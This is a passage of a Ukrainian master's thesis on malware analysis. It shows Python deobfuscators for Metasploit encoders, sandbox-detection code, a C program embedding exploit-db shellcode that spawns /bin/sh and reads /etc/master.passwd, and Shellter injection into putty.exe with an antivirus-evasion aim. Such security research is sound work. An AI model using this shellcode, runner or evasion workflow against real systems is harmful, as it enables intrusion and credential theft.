Для виконання процедури обфускації та деобфускації використано
мову програмування Python 3-ї версії [13].
Поточна версія мови програмування Python показана на рис. 3.14.
Процедура обфускації та деобфускації реалізована під ОС KaliLinux.
30
Рисунок3.14 – Визначенняпоточноїверсіїмовипрограмування Python
При встановленні операційної системи KaliLinux інтерпретатор мови
програмування Python був відсутній. Процедура встановлення його
зображена на рис. 3.15–3.17.
Рисунок3.15 – Процедура встановлення основних бібліотек мови Python
31
Рисунок3.16 – Процедура встановлення основних бібліотек мови
Python(продовження)
Рисунок3.17 – Процедура встановленняосновнихбібліотекмови Python
(продовження)
На останньому рисунку (рис. 3.17) показано процедуру встановлення
додаткових компонентів (пакетів) для виконання статичного і динамічного
аналізу на прикладі [11].
3.4.1 Реалізаціядеобфускатора для x64/xor_dynamic
Перший енкодер – це x64/xor_dynamic. Спочатку створимо тестову
фразу для проведення статичного аналізу (реалізації статичного
деобфускатора) [11, 12].
32
┌──(oleh㉿kali)-[~]
└─$ echo - en ’\xccMynameisOleh Pilipenkp. Magister. 123’ >sc
Після того як змінна створена та збережена у файл, переглянемо
результат збереження у поточній директорій користувача «Oleh»:
┌──(oleh㉿kali)-[~]
└─$ ls
'ClangLLVM' sample1.exe sc Загрузки
Общедоступные
NASM sample2.exe ВидеоИзображения 'Рабочийстол'
putty.exe sample_oleh.exeДокументыМузыкаШаблоны
Наступним кроком виконаємо дизасемблювання створеного файлу
“sc”. Результат дизасемблювання даного файлу має вигляд:
┌──(oleh㉿kali)-[~]
└─$ ndisasm -b32 sc
00000000 CC int3
00000001 4D decebp
00000002 7920 jns 0x24
00000004 6E outsb
00000005 61 popa
00000006 6D insd
00000007 65206973 and [gs:ecx+0x73],ch
0000000B 20566C and [esi+0x6c],dl
0000000E 61 popa
0000000F 647973 fsjns 0x85
00000012 6C insb
00000013 61 popa
00000014 7620 jna 0x36
00000016 4B decebx
00000017 6861696475 pushdword 0x75646961
0000001C 726F jc 0x8d
0000001E 762E jna 0x4e
00000020 204654 and [esi+0x54],al
00000023 49 dececx
00000024 2E205A49 and [cs:edx+0x49],bl
00000028 42 incedx
00000029 2D7A703031 sub eax,0x3130707a
Аналогічний результат дизасемблювання продубльовано на рис. 3.18.
33
Рисунок3.18 – Результат створеннятестовоїфрази, їїзбереження у файл “sc” та
дизасемблюванняостаннього
Наступним кроком є обфускація файлу “sc” та створення для нього
бінарного файлу “payload.bin”. Для виконання даної операції виконуємо
команду, яка має вигляд:
┌──(oleh㉿kali)-[~]
└─$ msfvenom -p generic/custompayloadfile=sc -f raw -o
payload.bin -e x64/xor_dynamic
У результаті виконання команди даної маємо такий результат, який
«говорить» нам про те, що результат обфускації проведено успішно:
[Found 1 compatibleencoders
Attemptingtoencodepayloadwith 1 iterationsof x64/xor_dynamic
x64/xor_dynamicsucceededwithsize 96 (iteration=0)
x64/xor_dynamicchosenwithfinalsize 96
Payloadsize: 96 bytes
Savedas: payload.bin
Наступним кроком є аналіз роботи обфускатора x64/xor_dynamic. У
разі перегляду вмісту бінарного файлу, ми отримаємо результат, який
показано на рис 3.19.
34
Рисунок3.19 – Результат формування бінарного файлу з shell-кодом,
що отримано в результаті процедури обфускації
Враховуючи принцип роботи кодувальника (encoder x64/xor_dynamic),
слід зазначити, що він має постійний ключ, який має довжину 8 байтів,
оскільки 64 розряди передбачає формування ключа, що має довжину 64
байти, тобто 8 біт. Для 32-х розрядів довжина ключа дорівнює 32 біти (4
байти).
Для процедури деобфускації написано програмний код мовою
програмування Python. Програмний код має вигляд:
frompwnimport *
# x64_dymanic
f = open('payload.bin', 'rb')
x = f.read()
print('Fullbytes:',x)
e = x[0x30:0x30+46]
print('Encodetext:', e)
d = xor(e, b'\x01')
print('Decodetext:', d)
Результат виконання даного програмного коду наведено нижче.
Рисунок3.20 – Результат проведеннядеобфускації з виділенням фрагменту,
щоміститьзакодований рядок
Цей же результат нижче наведено у вигляді тексту.
┌──(oleh㉿kali)-[~]
└─$ python3 Test.py
35
Fullbytes:
b"\xeb'[S_\xb0\xfa\xfc\xaeu\xfdWYS^\x8a\x060\x07H\xff\xc7H\xff\x
c6f\x81?P\x9bt\x07\x80>\xfau\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff
\xff\x01\xfa\xcdLx!o`ld!hr!Wm`exrm`w!Ji`hetsnw/!GUH/![HC,{q10P\x
9b"
Encodetext: b'\xcdLx!o`ld!hr!Wm`exrm`w!Ji`hetsnw/!GUH/![HC,{q10'
Decodetext: b'\xccMynameisOlehPilipenko. Magister. 123'
Слід також зазначити, що усі дані які місить бінарний файл також
можна більш детально переглянути за допомого IDAPro 7. Результати
перегляду наведені на рис. 3.21.
Рисунок 2.8 – Результат перегляду закодованих даних за допомогою
обфускатора x64/xor_dynamic
Вище наведений результат – представлення кожного байту окремо.
Нижче за допомогою IDAPro 7 виконане дизасембювання бінарного файлу, а
також наведено представлення даних у вигляді текстового рядка даних
(рис. 3.22) та у вигляді кожного символу окремо, у режимі даних масиву
(рис. 3.23).
Рисунок3.22 – Представлення даних у вигляді текстового рядка даних
36
Рисунок3.23 – Представленняданих у вигляді кожного символу окремо,у
режиміданихмасиву
Ключем x64/xor_dynamic є восьмибайтова одиниця.
Слід також зазначити, що результати кодера x86/xor_dynamic працює
так само, як і x64/xor_dynamic, лише ключем його є чотирьох байтова
одиниця. Тому принцип обфускації та деобфускації аналогічний
x64/xor_dynamic.
3.4.2 Реалізаціядеобфускатора для x64/xor
Наступним кодером є x64/xor. Його принцип роботи схожий до
принципів роботи x64/xor_dynamic. Для аналізу роботи даного кодера
використаємо той самий рядок і той самий файл «sc». Для виконання
процедури обфускації потрібно виконувати ті самі кроки, як і дляобфускації
інших кодерів. Результат обфускації показано на рис. 3.24.
37
Рисунок3.24 – Результат обфускаціїкодером x64/xor
Як видно з рисунка 2.11, що створено знову бінарний файл, який
містить зашифровану фразу разом з shell-кодом.
Процедура дизасемблювання показана на рис. 3.25.
Рисунок3.25 – Процедура дизасемблювання показана файлу sc
Наступним кроком потрібно виконати зворотну процедуру, процедуру
деобфускації. Результат перегляду даних у бінарному файлі має вигляд:
Рисунок3.26 – Результат обфускаціїданих з фразою
«My nameisOleh Pilipenko. Magister. 123»
38
Очевидно, що серед елементів даного shell-коду міститься шукана
фраза, яка була зашифрована, а саме: «MynameisOlehPilipenko.
Magister. 123».
Нижче наведений програмний код мовою Python для здійснення
процедури деобфускації даних.
frompwnimport *
f = open('payload.bin', 'rb')
x = f.read()
print('Fullbytes:',x)
key = x[20:20+8]
print('Key:', key)
e = x[40:40+45]
#print('Encode text:', e)
d = xor(e, key)
print('Decodetext:', d)
Як вже було раніше сказано, що створений shell-код містить фразу, яку
потрібно дешифрувати, а також ключ, за допомогою якого виконалась
процедура шифрування. Для даного обфускатора ключ не є статичний, він є
змінний та має довжину 8 байт.
На рис. 3.27 показана робота вище наведеної програми мовою
програмування Python.
Рисунок3.27 – результат роботи статичного деобфускатора для x64/xor зі
знаходженням відповідного 8-байтового ключа
Також знаючи загальний принцип обфускатора можна створити
програмний код, який буде виконувати процедуру пошуку ключа ітеративно
із зсувом по байтах.
Програмний код такого деобфускатора має вигляд:
39
frompwnimport *
f = open('payload.bin', 'rb')
x = f.read()
print('Fullbytes:',x)
for i inrange(len(x)-7):
print('Shift #',i)
key = x[i:i+8]
print('Key:', key)
d = xor(x, key)
print('Decodetext:', d)
Результати роботи такого деобфускатора показано на рис. 3.28 та 3.29.
Рисунок3.28 – Результат роботиобфускатора за принципом перебору
іззсувом по байтах
Рисунок3.29 – Результат роботиобфускатора за принципом перебору
іззсувом по байтах (кодовану фразу розшифровано)
40
Рисунок3.30 – Результат роботи програми gen.py для різних архітектур
Рисунок3.31 – Результат роботи програми gen.py для архітектури mips
41
Рисунок3.32 – Результат роботи програми disasm.py для архітектури i386
Рисунок3.33 – Результат роботи програми disasm.py для архітектури amd64
42
Рисунок3.34 – Результат роботипрограми disasm.py для архітектуриmips
3.4.3 Реалізаціядеобфускатора для x86/countdown
Даний обфускатор працює з кількістю байтів у Shell-коді. Він також
заснований на операції xor. Про детальну роботу даного обфускатора буде
виконаний опис нижче.
Рисунок3.35 – Процедура дизасемблюваннязасобамиIDA Pro 7 результатівобфускації з використанням x86/countdown
43
44
На останньому (рис. 3.35) рисунку показана робота шифрувальника з
різною кількістю символів деякого рядка. Помітно прослідковуються
елементи, які визначають фіксовані місця, зокрема:
Другий байт містить інформацію про кількість бітів, що містить
вхідний рядок. На останньому рисунку показані приклади для 1; 4; 5 та 45
(2D16) символів. Ключем даного шифрувальника (кодера) є лише довжина
вхідного рядка байтів з Shell-кодом. Перший байт шифрується з
використання операції XOR з ключем-лічильником, що дорівнює одиниці.
Другий байт шифрується з використанням тієї ж операції XOR та ключем-
лічильником, що дорівнює двійці. Процес продовжується, доки не буде
закодований останній байт. Для нього ключем буде довжина всього рядка.
Слід також зазначити, що сам Shell-код знаходиться з 16-го байту і до
кінця результату роботи обфускатора. Це все і є необхідними відомостями
про роботу обфускатора.
Цікавим є те, що сам обфускатор працює зі зворотним відліком від
значення ключа, який представляє собою довжину Shell-коду.
У такому разі робота деобфускатора описується таким програмним
кодом мовою програмування Python:
frompwnimport *
f = open('payload.bin', 'rb')
x_obfus = f.read()
print('Obfuscation:')
print(x_obfus)
x_encode = x_obfus[16:]
Len = x_obfus[1]
x_decode = b""
T = Len+1
for i inrange(int(T)):
x_decode += xor(x_encode[i], T-Len)
Len -= 1
print('Deobfuscation:')
print(x_decode)
Результати виконання даного програмного коду наведено нижче на
рис. 3.36–3.38.
45
Рисунок3.36 – Результат роботидеобфускатора x86/countdown
для першого рядка
Вище наведену програмну реалізацію також можна було реалізували
лише через цикл while, оскільки принцип роботи кодувальника полягає в
тому, що він припиняє роботу тоді, коли ключ для кодування (з
використанням операції XOR) стає рівним довжині рядка.
Рисунок3.37 – Результат роботи деобфускатора x86/countdown для другого
рядка
46
Рисунок3.38 – Результат роботидеобфускатора x86/countdown
для третього рядка
3.5 Реалізаціядинамічногодеобфускатора
3.5.1 Реалізаціядеобфускатора для x64/xor_dynamic
Програмний код для виконання динамічної деобфускації
x64/xor_dynamic мовою програмування Python має вигляд:
#!/ usr / bin / env python3
frompwnimport *
fromunicornimport *
from unicorn.x86_const import *
fromcapstoneimport *
cs = Cs(CS_ARCH_X86, CS_MODE_64)
code = open("payload.bin", "rb").read()
address = 0
defhook_code(uc, address, size, user_data):
globalcs
ins = uc.mem_read (address, size )
print ("hookcalledat 0x{:x}, instruction {}".format
(address, ins.hex()))
CodeString = b""
for i incs.disasm (ins, 0):
print ("hook 0x{:03x} size {:2d}: {:03x}: {:20s} {}
{}".format(address, size, address + i.address,
i.bytes.hex(), i.mnemonic, i.op_str))
CodeString += i.bytes
print(CodeString)
47
Decode(CodeString)
defhook_syscall (mu, user_data):
rax = mu.reg_read (UC_X86_REG_RAX)
rdi = mu.reg_read (UC_X86_REG_RDI)
ifrax == 59:
fn = mu.mem_read (rdi, 0x1000)
fn = fn.split (b"\0")[0]
fn = bytes (fn)
print ("SYS_execve {}".format(fn))
else:
print ("syscallrax =0x{:x}, rdi =0x{:x}".format (rax,
rdi))
defDecode(x_obfus):
x_encode = x_obfus[0x30:0x30+46]
x_decode = xor(x_encode, b"\x01")
print('Deobfuscation:')
print(x_decode)
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map (address, address + 0x2000)
mu.mem_write (address, code)
mu.reg_write (UC_X86_REG_ESP, address + 0x1000)
mu.hook_add (UC_HOOK_CODE, hook_code)
mu.hook_add (UC_HOOK_INSN, hook_syscall, None, 1, 0,
UC_X86_INS_SYSCALL)
mu.emu_start (address, address + len(code))
print ("done.")
Результати виконання програмного коду наведені на рисунку:
Рисунок3.39 – Результати роботи динамічного деобфускатора
x64/xor_dynamic
48
Нижче за аналогією показаний програмний код для роботи
динамічного деобфускатора x64/xor.
3.5.2 Реалізаціядеобфускатора для x64/xor
Програмний код для виконання динамічної деобфускації x64/xor мовою
програмування Python має вигляд:
#!/ usr / bin / env python3
frompwnimport *
fromunicornimport *
from unicorn.x86_const import *
fromcapstoneimport *
cs = Cs(CS_ARCH_X86, CS_MODE_64)
code = open("payload.bin", "rb").read()
address = 0
defhook_code(uc, address, size, user_data):
globalcs
ins = uc.mem_read (address, size )
print ("hookcalledat 0x{:x}, instruction {}".format
(address, ins.hex()))
CodeString = b""
for i incs.disasm (ins, 0):
print ("hook 0x{:03x} size {:2d}: {:03x}: {:20s} {}
{}".format(address, size, address + i.address,
i.bytes.hex(), i.mnemonic, i.op_str))
CodeString += i.bytes
print(CodeString)
Decode(CodeString)
defhook_syscall (mu, user_data):
rax = mu.reg_read (UC_X86_REG_RAX)
rdi = mu.reg_read (UC_X86_REG_RDI)
ifrax == 59:
fn = mu.mem_read (rdi, 0x1000)
fn = fn.split (b"\0")[0]
fn = bytes (fn)
print ("SYS_execve {}".format(fn))
else:
print ("syscallrax =0x{:x}, rdi =0x{:x}".format (rax,
rdi))
defDecode(x_obfus):
x_encode = x_obfus[0x30:0x30+46]
x_decode = xor(x_encode, b"\x01")
49
print('Deobfuscation:')
print(x_decode)
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map (address, address + 0x2000)
mu.mem_write (address, code)
mu.reg_write (UC_X86_REG_ESP, address + 0x1000)
mu.hook_add (UC_HOOK_CODE, hook_code)
mu.hook_add (UC_HOOK_INSN, hook_syscall, None, 1, 0,
UC_X86_INS_SYSCALL)
mu.emu_start (address, address + len(code))
print ("done.")
Результат виконання даної програми наведено нижче на рисунку:
Рисунок3.40 – Результатироботидинамічногодеобфускатора x64/xor_dynamic
Тепер перейдемо до програмної релізації для динамічного
деобфускаторадо x86/countdown.
3.5.3 Реалізаціядеобфускатора для x86/countdown
Програмний код для виконання динамічної деобфускації мовою
програмування Python має вигляд:
#!/ usr / bin / env python3
frompwnimport *
fromunicornimport *
from unicorn.x86_const import *
fromcapstoneimport *
50
cs = Cs(CS_ARCH_X86, CS_MODE_32)
code = open("payload.bin", "rb").read()
address = 0
defhook_code(uc, address, size, user_data):
globalcs
ins = uc.mem_read (address, size )
print ("hookcalledat 0x{:x}, instruction {}".format
(address, ins.hex()))
CodeString = b""
for i incs.disasm (ins, 0):
print ("hook 0x{:03x} size {:2d}: {:03x}: {:20s} {}
{}".format(address, size, address + i.address,
i.bytes.hex(), i.mnemonic, i.op_str))
CodeString += i.bytes
print(CodeString)
Decode(CodeString)
defhook_syscall (mu, user_data):
rax = mu.reg_read (UC_X86_REG_RAX)
rdi = mu.reg_read (UC_X86_REG_RDI)
ifrax == 59:
fn = mu.mem_read (rdi, 0x1000)
fn = fn.split (b"\0")[0]
fn = bytes (fn)
print ("SYS_execve {}".format(fn))
else:
print ("syscallrax =0x{:x}, rdi =0x{:x}".
format (rax, rdi))
defDecode(x_obfus):
x_encode = x_obfus[16:]
Len = x_obfus[1]
x_decode = b""
T = Len+1
for i inrange(int(T)):
x_decode += xor(x_encode[i], T-Len)
Len -= 1
print('Deobfuscation:')
print(x_decode)
mu = Uc(UC_ARCH_X86, UC_MODE_32)
mu.mem_map (address, address + 0x2000)
mu.mem_write (address, code)
mu.reg_write (UC_X86_REG_ESP, address + 0x1000)
mu.hook_add (UC_HOOK_CODE, hook_code)
mu.hook_add (UC_HOOK_INSN, hook_syscall, None, 1, 0,
UC_X86_INS_SYSCALL)
mu.emu_start (address, address + len(code))
print ("done.")
Результат роботи динамічного деобфускатора x86/countdown показано
на рисунку:
51
Рисунок3.41 – Результатироботидинамічногодеобфускатора x86/countdown
Отримані результати деобфускації є коректними та відповідають тим,
які були отримані в результаті роботи статичного деобфускатора.
Висновки до третього розділу
У даному розділі були досліджені основні принципи використання
кодерів (обускаторів). Також було використано кілька енкодерів, до яких
програмно реалізовано мовою Pythonдеобфускатори (статичний і
динамічний). Використано IDAPro 7 для визначення позицій та регістрів, які
зберігають дані для виконання зворотної процедури (деобфускації) –
розшифрування даних, які містяться в обфускованому коді.
Практична частина даної розділу роботи полягає в обході системи
захисту на базі антивірусної системи на прикладі операційної системи
Windows 10 x86 та x64.
Реалізовано кілька статичних деобфускаторів (три штуки) та кілька
динамічних деобфускаторів (три штуки відповідно до статичних).
52
РОЗДІЛ 4ДИНАМІЧНИЙ АНАЛІЗ ПРИ ДОСЛІДЖЕННІ
ШКІДЛИВОГО ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ
4.1 Реалізаціядетектуваннясередовищааналізу мовою C/C++
Для виконання даного завдання було обрано програмний код, який
знаходиться у вільному доступі за посиланням у [14] (pafish). У ході
виконання даного завдання було використано два середовища аналізу. У
даній роботі було використано VMware Workstation Pro та CuckooSandBox.
Програмний код, який відповідає за детектування даних середовищ має
вигляд:
#include "config.h"
#include "common.h"
#include "debuggers.h"
#include "sandboxie.h"
#include "gensandbox.h"
#include "hooks.h"
#include "vmware.h"
#include "cuckoo.h"
intmain(void)
{
charwinverstr[32], aux[1024];
charcpu_vendor[13], cpu_hv_vendor[13], cpu_brand[49];
OSVERSIONINFOwinver;
unsignedshortoriginal_colors = 0;
/* ********************************************************* */
if (((vmware_reg_key1()) || vmware_reg_key2()) ||
cuckoo_check_tls()) {
MessageBox(NULL,”Hello, Kitty!”, “PilipenkoOleh.
Magister. 123”, MB_OK);
}
getch();
return 0;
}
Нижче на рис. 4.1 показано роботу даної програми.
53
Рисунок4.1 – Результат детектування середовища аналізу мовою
програмування C/C++
4.2 Замінаповідомлення на запуск довільногоshell-коду
Для виконання даного завдання було взято за основу ресурс під
номером 69 в [1], який містить досить велику базу shell-кодів (exploit-db) для
виконання у цільовій ОС, яка має реалізацію мовою програмування C. Нижче
наведено програмний код, який містить кілька (три штуки) обраних shell-
коди, а також реалізовану особисто функцію, яка має можливість генерувати
shell-код довільної довжини, а також має можливість запускати
новостворений shell-код на виконання.
Генерування та виконання shell-кодів реалізовано у функції main файлу
test.c. Для прикладу було обрано параметр довжини shell-коду, який
лежить у діапазоні від 100 до 199 байтів.
Функція генерування shell-коду має вигляду:
char* genShellCode(){
int i, N;
char* genCodeResult;
N = rand() % 100 + 100;
genCodeResult = (char*)malloc(sizeof(char)*N);
for (i=0;i<N;i++)
genCodeResult[i] = rand()%256;
returngenCodeResult;
}
Повний лістинг програми має такий вигляд:
#include <stdio.h>
#include <conio.h>
#include <string.h>
54
#include <stdlib.h>
#include <time.h>
char shellcode1[] =
"\x48\x31\xc9"
"\xeb\x10"
"\x5e"
"\x48\x89\xf7"
"\x56"
"\x51"
"\x48\x89\xe6"
"\x48\x89\xca"
"\xb0\x3b"
"\x0f\x05"
"\x48\xe8\xea\xff\xff\xff"
"\x2f"
"\x62"
"\x69"
"\x6e"
"\x2f"
"\x73\x68";
char shellcode2[] =
"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53"
"\x54\x5f\x52\x57\x54\x5e\x0f\x05";
char shellcode3[] =
"\x31\xc0\x50\x50\xb0\x17\xcd\x80\xeb\x1f"
"\x5e\x50\x68\x2f\x63\x61\x74\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x56\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x80\x50\x50\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x65\x74\x63"
"\x2f\x6d\x61\x73\x74\x65\x72\x2e\x70\x61"
"\x73\x73\x77\x64";
voidstartCode(char []);
voidprintShellCode(char []);
char* genShellCode();
intmain(void){
srand(time(0));char* myCode;
myCode = genShellCode();printShellCode(myCode);
startCode(myCode);getch();
return 0;
}
voidstartCode(charmyCode[]){
int (*func)();
func = (int (*)()) myCode;
(int)(*func)();
}
voidprintShellCode(charmyCode[]){
int i, N;N = strlen(myCode);
printf("\nBytes: %d\n", N);
for (i=0;i<N-1;i++)
printf("%x|",myCode[i]);
if (N>0)
printf("%x",myCode[N-1]);
55
}
char* genShellCode(){
int i, N;
char* genCodeResult;
N = rand() % 100 + 100;
genCodeResult = (char*)malloc(sizeof(char)*N);
for (i=0;i<N;i++)
genCodeResult[i] = rand()%256;
returngenCodeResult;
}
Рисунок4.2 – Результат виконанняпрограми:
перші три відомі та три згенерованіshell-коди
Рисунок4.3 (а) – Результат покрокового виконання у середовищі динамічного аналізу Win x64dbg файлу test.exe
56
Рисунок4.3 (б) – Результат покрокового виконання у середовищі динамічного аналізу Win x64dbg файлу test.exe
57
58
Рисунок4.3 (в) – Результат пошукупершого статичного shell-коду
у середовищіhiew для файлу test.exe (інші два – аналогічно)
4.3 Аналізмеханізмупередачікерування на прикладі putty.exe
Для аналізу файлу putty.exe виконаємо процедуру дизасемлювання, яка
має вигляд:
$ ndisasm putty.exe > putty.txt
Результат дизасемлювання збережено у текстовий файл з такою ж
назвою.
Рисунок4.4 (а) – Виконанняпроцедуридизасемлювання файлу putty.exe
Фрагмент результуючого файлу з asm-кодом має такий вигляд:
... ... ... ... ... ... ... ... ... ... ... ...
00002788 CC int3
00002789 9D popf
0000278A 0400 add al,0x0
0000278C 83C40C addsp,byte +0xc
0000278F FF7424 pushword [si+0x24]
59
00002792 188933E8 sbb [bx+di-0x17cd],cl
00002796 9E sahf
00002797 3E0400 dsadd al,0x0
0000279A 8B7C24 mov di,[si+0x24]
0000279D 1459 adc al,0x59
0000279F 894308 mov [bp+di+0x8],ax
000027A2 E86FF7 call 0x1f14
000027A5 FFdb 0xff
000027A6 FF5F5E callfar [bx+0x5e]
000027A9 5B popbx
000027AA C3 ret
000027AB 53 pushbx
000027AC 8B5C24 movbx,[si+0x24]
000027AF 085556 or [di+0x56],dl
000027B2 57 push di
000027B3 33ED xorbp,bp
000027B5 33FF xordi,di
000027B7 EB68 jmpshort 0x2821
000027B9 8B068B04 movax,[0x48b]
000027BD 855830 test [bx+si+0x30],bx
000027C0 47 inc di
000027C1 0083C704 add [bp+di+0x4c7],al
000027C5 48 decax
000027C6 7412 jz 0x27da
000027C8 48 decax
000027C9 7512 jnz 0x27dd
000027CB FF7604 pushword [bp+0x4]
000027CE E84D9A call 0xc21e
000027D1 0400 add al,0x0
000027D3 59 pop cx
000027D4 8D7C07 lea di,[si+0x7]
000027D7 01EB addbx,bp
000027D9 0383C704 addax,[bp+di+0x4c7]
000027DD 8B068B04 movax,[0x48b]
000027E1 8510 test [bx+si],dx
000027E3 334700 xorax,[bx+0x0]
000027E6 48 decax
000027E7 7434 jz 0x281d
000027E9 48 decax
000027EA 7422 jz 0x280e
000027EC 48 decax
000027ED 7413 jz 0x2802
000027EF 48 decax
000027F0 752E jnz 0x2820
000027F2 6A00 pushbyte +0x0
000027F4 FF7608 pushword [bp+0x8]
000027F7 E8543E call 0x664e
000027FA 0400 add al,0x0
000027FC 59 pop cx
000027FD 59 pop cx
000027FE 03F8 adddi,ax
00002800 EB1E jmpshort 0x2820
00002802 6A00 pushbyte +0x0
60
00002804 FF7608 pushword [bp+0x8]
00002807 E80E3C call 0x6418
0000280A 0400 add al,0x0
0000280C EBEEjmpshort 0x27fc
0000280E FF7608 pushword [bp+0x8]
00002811 E80A9A call 0xc21e
00002814 0400 add al,0x0
00002816 59 pop cx
00002817 8D7C07 lea di,[si+0x7]
0000281A 01EB addbx,bp
0000281C 0383C704 addax,[bp+di+0x4c7]
00002820 45 incbp
00002821 55 pushbp
00002822 FF33 pushword [bp+di]
00002824 E82254 call 0x7c49
00002827 0300 addax,[bx+si]
00002829 8BF0 movsi,ax
0000282B 85F6 testsi,si
0000282D 59 pop cx
0000282E 59 pop cx
0000282F 7588 jnz 0x27b9
... ... ... ... ... ... ... ... ... ... ... ...
Рисунок4.4 (б) – Перегляд у hiewрезультатівроботиLIEF
для файлу life_pe64_hooking.exe
61
На виході отримується файл, який має назву lief_pe32_hooking.exe.
Результати виконання даної програми показано на рис. 4.5.
Рисунок4.5 – Результативиконанняаналізу putty.exe
з використаннямпрограмhooking_xx.py
У результаті виконання даних програм створюється два exe-файли, як
показано на рис. 4.6.
Рисунок4.6 – Результати створення виконуваних файлів на базі
putty.exe
За отриманими результатами було створено, як раніше було зазначено,
два виконуваних файли, які розпізнаються антивірусною лабораторією та
середовищем аналізу Cuckoo і вважаються потенційно небезпечними –
шкідливе програмне забезпечення.
62
63
4.4 Дослідженняметодівінтеграціїshell-коду та модифікації потоку
виконання у Shellter
Перед встановленням shellter виконаємо оновлення (рис. 4.7). Для
цього виконаємо таку команду:
$ sudoapt-getupdate
Рисунок4.7 – Оновлення пакетів перед встановленням shelter
Тепер переходимо до процедури встановлення shellter. Для цього
виконуємо таку команду:
$ sudoapt-getinstallshellter
Результат встановлення показано на рис. 4.8.
Рисунок4.8 – Процесвстановленняshellter в ОС Kali Linux x64
64
Рисунок4.9 – Процесвстановленняshellter в ОС Kali Linux x64 (кінець)
Далі виконуємо запуск shellter.exe та виконуємо вбудовування shell-
коду у даний зразок (рис. 4.10).
Рисунок 4.10 – Запуск shellter.exe та виконуємо вбудовування shell-коду у даний зразок
65
66
Далі виконуємо дизасемблювання зразка у файл sample.txt:
Рисунок4.11 – Дизасемблюваннямодифікованогозразка sample.exe:
вихідний файл sample.txt
Створена контрольна сума (значення хешу на базу криптографічної
функції SHA-256) для утвореного модифікованого зразка збережена
автоматично у файл з назвою Executable_SHA-256.txt.
Рисунок4.12– Контрольна сума отриманого модифікованого shell-кодом
зразка
Рисунок4.13 – Вмістдиректорію файлу sample.exe маєтакийвигляд:
Наступним етапом є збірка зразка засобу доставки шкідливого
програмного коду.
67
4.5 Збірказразказасобу
доставкишкідливогопрограмногозабезпечення,йогомодифікаці
я з метою обходу систем захисту
Для виконання даного завдання використовуємо загальний принцип
обфускації. Такий принцип має можливість обходити антивірусні системи.
Тобто передбачається обфускація самого shell-коду для модифікації
отриманого зразка з результатів виконання завдання[15–20].
Нижче на рисунку наведені результати сканування отриманого зразка у
середовищі аналізу CuckooSandbox. На рис. 4.14 показана загальна
інформація про сканування одержаного зразка.
Рисунок4.14 – Загальнаінформація про отриманийзразок за результатами
сканування у середовищіCuckooSandbox
Наступним завданням є подібний аналіз різних шкідливих програмних
зразків, які вказані за посиланням роботі 3 в [10].
68
Для аналізу було обрано 5 шкідливих зразків з архіву, а саме:
BAT.Pot.A, BAT.Skul, JS.Lame, illusion_bot та Careto_Feb2014.
Антивірусна лабораторія складається з таких антивірусних систем:
Windows Defender, Avira, Avast, Zillya, AVG, KasperskyAV, 360 TotalSecurity.
Дослідження шкідливого зразка BAT.Pot.A антивірусною лабораторією
в OS Windows 10 x64. Вміст архіву для першого шкідливого зразка з усієї бази
шкідливих зразків має такий вигляд, як показано нижче на рис. 4.15.
Рисунок4.15 – Вміст архіву з першим шкідливим зразком BAT.Pot.A
Рисунок4.16 – Результат аналізу першого шкідливого зразку BAT.Pot.A
Windows Defender
69
Рисунок4.17 – Результат аналізу першого шкідливого зразку
BAT.Pot.AAvastAntivirus
Рисунок4.18 – Результат аналізу першого шкідливого зразку BAT.Pot.A
AviraAntivirus
70
Рисунок4.19 – Результат аналізу першого шкідливого зразку BAT.Pot.A
AVGAntivirus
Рисунок4.20 – Результат аналізу першого шкідливого зразку BAT.Pot.A – 360
TS AV
71
Рисунок4.21– Результат аналізу першого шкідливого зразку
BAT.Pot.A – ZillyaAV
Рисунок4.22 – Результат аналізу першого шкідливого зразку
BAT.Pot.A – антивірус Kaspersky
Шкідливий зразок було досліджено як у архіві, так і з вилученням із
архіву.
ДослідженняшкідливогозразкаBAT.Pot.AсередовищеманалізуCuckooSan
dBox в OSKali Linux x64.
72
Рисунок4.23 – Результат аналізу першого шкідливого зразку BAT.Pot.A –
у середовищі CuckooStandBox, OSKali Linux x64
Дослідження шкідливого зразка BAT.Skul антивірусною лабораторією
в OS Windows 10 x64.
Рисунок4.24 – Вміст архіву з другим шкідливим зразком BAT.Skul
73
Рисунок4.25 – Результат аналізу другого шкідливого зразку BAT.Skul
Windows Defender
Рисунок4.26 – Результат аналізу другого шкідливого зразку BAT.Skul
AvastAntivirus
74
Рисунок4.27 – Результат аналізу другого шкідливого зразку BAT.Skul
AviraAntivirus
Рисунок4.28 – Результат аналізу другого шкідливого зразку BAT.Skul
AVGAntivirus
75
Рисунок4.29 – Результат аналізу другого шкідливого зразку BAT.Skul
360 TotalSecurity
Рисунок4.30 – Результат аналізу другого шкідливого зразку BAT.Skul
KasperskyAV
Дослідження шкідливого зразка BAT.Skul середовищем аналізу
CuckooSandBox в OSKali Linux x64.
76
Рисунок 4.31 – Результат аналізу другого шкідливого зразку BAT.Skul –
у середовищі CuckooStandBox, OSKali Linux x64
Дослідження шкідливого зразка JS.Lame антивірусною лабораторією в
OS Windows 10 x64.
Рисунок4.32 – Вміст архіву з третім шкідливим зразком JS.Lame
Рисунок4.33 – Вміст архіву з третім шкідливим зразком JS.Lame/JS.Lame
77
Рисунок4.34 – Результат аналізу третього шкідливого зразку JS.Lame
Windows Defender
Рисунок4.35 – Результат аналізу третього шкідливого зразку JS.Lame:
перевірка відкриття WEB-сторінки
78
Рисунок4.36 – Результат аналізу третього шкідливого зразку JS.Lame:
перевірка відкриття WEB-сторінки
Згідно отриманих результатів, друга WEB-сторінка все ж відкрилась,
причому вже після того, як шкідливий код був розпізнаний антивірусною
системою. У такому випадку можливі зміни в операційній системі, які може
нанести зловмисник.
Рисунок4.37 – Результат аналізу третього шкідливого зразку JS.Lame:
AvastAV
79
Рисунок4.38 – Результат аналізу третього шкідливого зразку JS.Lame:
AviraAV
Рисунок 4.39 – Результат аналізу третього шкідливого зразку JS.Lame:
360 TotalSecurity AV
Слід зазначити, що детектування файлу зі шкідливим програмним
кодом відбулось також вже після його повного завантаження. У такому разі
80
можливі зараження операційної системи до моменту детектування
шкідливого програмного коду антивірусною системою.
